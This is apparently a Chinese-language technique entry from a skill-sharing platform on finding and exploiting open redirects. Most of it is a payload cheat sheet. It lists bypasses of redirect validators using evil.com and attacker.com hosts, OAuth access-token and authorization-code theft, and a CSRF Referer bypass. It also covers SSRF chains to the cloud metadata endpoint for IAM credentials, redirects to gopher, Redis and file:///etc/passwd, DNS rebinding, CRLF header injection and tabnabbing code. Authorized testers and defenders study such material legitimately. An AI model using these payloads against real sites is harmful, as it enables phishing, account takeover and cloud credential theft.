性能优化
测试 URL 参数/JavaScript…
当 URL 参数、表单 action 或 JavaScript sink 控制导航目标,可能把用户重定向到攻击者控制的站点时使用。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
测试 URL 参数/JavaScript通用
解决思路
- 将可信域作为跳板:构造 https://trusted.com/redirect?url=https://evil.com,让用户看到 trusted.com 后点击并落到 evil.com。
- 枚举常见重定向参数名:?url=、?redirect=、?next=、?dest=、?destination=、?redir=、?return=、?returnUrl=、?go=、?forward=、?target=、?out=、?continue=、?link=、?view=、?to=、?ref=、?callback=、?path=、?rurl=。
- 定位服务端重定向 sink:HTTP 301/302 Location header、PHP header("Location: $input")、Python redirect(input)、Java response.sendRedirect(input)、Node res.redirect(input)。
- 定位客户端 JavaScript 重定向 sink:window.location = input、window.location.href = input、window.location.replace(input)、window.open(input)、document.location = input。
- 绕过“URL 以 / 开头”检查:使用 //evil.com(协议相对)。
- 绕过“域名包含 trusted.com”检查:使用 evil.com?trusted.com 或 trusted.com.evil.com。
- 绕过“阻止 http://”检查:使用 //evil.com、https://evil.com、\/\/evil.com。
- 绕过“URL 以 https://trusted.com 开头”检查:使用 https://trusted.com@evil.com(userinfo)。
- 绕过正则 ^/[^/](仅相对路径)检查:使用 /\evil.com(某些浏览器把反斜杠当路径)。
- 绕过 Django endswith('target.com') 检查:使用 http://evil.com/www.target.com,使 URL path 以目标域结尾。
- 绕过按域名后缀白名单:利用 *.trusted.com 上的子域名接管。
- 使用协议相对 payload://evil.com。
- 使用 userinfo 绕过 payload:https://trusted.com@evil.com。
- 使用反斜杠技巧 payload:/\evil.com、/\/evil.com。
- 使用 URL 编码 payload:https://trusted.com/%2F%2Fevil.com。
- 使用 Django endswith 绕过 payload:http://evil.com/www.target.com、http://evil.com?target.com。
- 使用受信站点双重跳转(例如通过百度链接服务):https://link.target.com/?url=http://evil.com。
- 使用特殊字符混淆:http://evil.com#@trusted.com(fragment 作为 authority)、http://evil.com?trusted.com(查询串混淆)、http://trusted.com%00@evil.com(null byte 截断)。
- 使用 URL 中的 tab/newline,浏览器忽略空白:java%09script:alert(1)。
- 钓鱼放大:发送 https://bigbank.com/redirect?url=https://bigbank-login.evil.com,受害者看到 bigbank.com,点击后在克隆站输入凭据。
- OAuth token theft:若 OAuth redirect_uri 允许授权域上的 open redirect,使用 /authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com,使 authorization code 或 token 追加到 evil.com URL,并从 URL fragment 或 query 捕获 token。
- CSRF Referer 绕过:让攻击者页面链接到 https://trusted.com/redirect?url=https://trusted.com/change-email,重定向保留来自 trusted.com 的 Referer,使 CSRF 保护通过。
- SSRF via redirect:当服务端跟随重定向时,传 ?url=https://attacker.com/redirect-to-internal,令 attacker.com 返回 302 → http://169.254.169.254/,服务端跟随到 metadata endpoint 形成 SSRF。
- 测试清单:识别所有会触发重定向的 URL 参数。
- 测试外部域:?url=https://evil.com。
- 测试协议相对:?url=//evil.com。
- 测试 userinfo 绕过:?url=https://trusted.com@evil.com。
- 测试反斜杠:?url=/\evil.com。
- 测试 JavaScript sink:?url=javascript:alert(1)(DOM-based)。
- 检查 OAuth 流程中 redirect_uri 的 open redirect。
- 验证重定向是否在 URL 中保留 auth tokens。
- Tabnabbing 概念:当链接用 target="_blank" 打开新标签且没有 rel="noopener" 时,新页面可访问 window.opener,并可重定向原页面:window.opener.location = "https://phishing.com/login"。
- 检测易受攻击代码:<a href="https://external.com" target="_blank">Click here</a>;安全写法为 <a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>。
- Tabnabbing 利用:在通过 target="_blank" 打开的攻击者控制页面执行 if (window.opener) { window.opener.location = "https://phishing.com/fake-login.html"; }。
- 查找 Tabnabbing 位置:用户生成内容中的链接(论坛、评论、资料)、指向外部域的 target="_blank" 链接、PDF 查看器、在新标签打开的文档预览。
- OAuth Implicit Flow 利用:使用 /authorize?response_type=token&client_id=CLIENT&redirect_uri=https://target.com/callback/../redirect?url=https://evil.com&scope=read;用户认证后授权服务器重定向到 https://target.com/redirect?url=https://evil.com#access_token=SECRET,open redirect 触发后浏览器到 https://evil.com#access_token=SECRET,攻击者页面读取 location.hash 捕获 access token。
- Authorization Code Flow 利用:使用 /authorize?response_type=code&client_id=CLIENT&redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com;授权服务器校验 redirect_uri 前缀匹配 https://target.com/ 后重定向到 https://target.com/redirect?url=https://evil.com&code=AUTH_CODE,open redirect 把受害者送到 https://evil.com?code=AUTH_CODE,攻击者用 code 换 access token。
- OIDC id_token Fragment Leak:使用 /authorize?response_type=id_token&client_id=CLIENT&redirect_uri=https://target.com/cb&nonce=NONCE;若 redirect_uri 指向 open redirect endpoint,id_token 会放在 fragment 发送给攻击者,攻击者获得签名身份断言,可在接受该 IdP 的任意 RP 上冒充受害者。
- redirect_uri 校验绕过 payload:redirect_uri=https://target.com/callback/../open-redirect?url=evil.com。
- redirect_uri 校验绕过 payload:redirect_uri=https://target.com/callback?next=https://evil.com。
- redirect_uri 校验绕过 payload:redirect_uri=https://target.com/callback%23@evil.com。
- redirect_uri 校验绕过 payload:redirect_uri=https://target.com/callback/../../redirect。
- redirect_uri 校验绕过 payload:redirect_uri=https://target.com/callback#@evil.com。
- Open Redirect → SSRF 服务端跟随重定向:提交 URL 给服务端 fetcher:http://attacker.com/redirect;attacker.com 响应 302 Location: http://169.254.169.254/latest/meta-data/;服务端跟随重定向形成 SSRF 访问云 metadata endpoint;响应(IAM credentials)返回攻击者或在预览中可见。
- 多跳重定向绕过过滤:服务端阻止直接请求 169.254.169.254 时,提交 http://attacker.com/r1;r1 → 302 → http://attacker.com/r2(同域,通过过滤);r2 → 302 → http://169.254.169.254/(内部,过滤未再次检查)。
- DNS rebinding 变体:attacker.com 解析到攻击者公网 IP(TTL=0);服务端解析 attacker.com → 公网 IP → 通过 SSRF 过滤;连接建立,但 HTTP 重定向再次指向 attacker.com;第二次 DNS 解析 attacker.com 现解析到 169.254.169.254;服务端跟随重定向到内部地址。
- 通过重定向协议提升 scope:http://attacker.com/redirect → gopher://127.0.0.1:6379/...(Redis SSRF);http://attacker.com/redirect → file:///etc/passwd(本地文件读取);http://attacker.com/redirect → dict://127.0.0.1:11211/(Memcached)。注意并非所有 HTTP 客户端跟随跨协议重定向,但 curl(默认)和一些库会。
- URL parser confusion:当重定向校验函数与最终处理 URL 的浏览器或服务器解析方式不同时,利用差异绕过。
- 协议相对 URL parser confusion://attacker.com 在浏览器中为 https://attacker.com(继承当前页协议),某些验证器却当作相对路径 /attacker.com。
- 反斜杠混淆:\/\/attacker.com、/\/attacker.com;许多浏览器会把 \ 规范化为 /,而把 \ 当路径字符的验证器可能放行。
- Userinfo section abuse://attacker.com\@target.com,浏览器导航 attacker.com(@ 是 userinfo 分隔符),验证器看到 target.com 通过 allowlist。
- Userinfo section abuse://target.com@attacker.com,浏览器中 userinfo=target.com、host=attacker.com,验证器检查 starts with target.com 通过。
- Userinfo section abuse:https://target.com%2F@attacker.com,URL 解码后 target.com/ 作为 userinfo、host=attacker.com。
- 双重编码://attacker%252ecom;第一次解码为 //attacker%2ecom(通过验证器),第二次解码(由服务器/浏览器)为 //attacker.com(实际重定向)。
- CRLF injection + redirect:/%0d%0aLocation:%20https://attacker.com;若服务端在 header 上下文反射 path,则 HTTP/1.1 302 Found 中出现 Location: / 与 Location: https://attacker.com 注入 header,注入 header 胜出。
- Fragment confusion:https://target.com#@attacker.com,浏览器中 host=target.com、fragment=@attacker.com,但某些 JS-based redirect 的 window.location = url 可能不同处理。
- Fragment confusion:https://attacker.com#.target.com,验证器看到 target.com 通过,浏览器导航 attacker.com(fragment 在导航中忽略)。
- 特殊字符:https://attacker.com%E3%80%82target.com,Unicode ideographic full stop(U+3002)某些解析器当作 dot,浏览器规范化可能与验证器不同。
- 特殊字符:https://attacker。com(U+3002 fullwidth period)。
- 特殊字符:https://attacker.com(U+FF0E fullwidth full stop)。
- 组合 URL parser differential 表://evil.com 验证器看相对路径,浏览器导航 https://evil.com。
- 组合 URL parser differential 表:\/\/evil.com 验证器看路径 \/\/evil.com,浏览器导航 https://evil.com。
- 组合 URL parser differential 表://evil.com\@target.com 验证器看包含 target.com,浏览器导航 https://evil.com。
- 组合 URL parser differential 表://target.com@evil.com 验证器看以 target.com 开头,浏览器导航 https://evil.com。
- 组合 URL parser differential 表:/%0d%0aLocation: https://evil.com 验证器看 path 字符串,实际 header injection → redirect。
- 组合 URL parser differential 表://evil%252ecom 验证器看 evil%2ecom(不是域名),浏览器两次解码后到 evil.com。
适用边界 · 注意事项
- 重定向目标为固定白名单且用户输入完全不参与跳转时不适用。
- 不存在 URL 参数、表单 action 或 JavaScript 导航 sink 控制跳转时不适用。
- 未获得授权时不应进行利用或攻击性测试。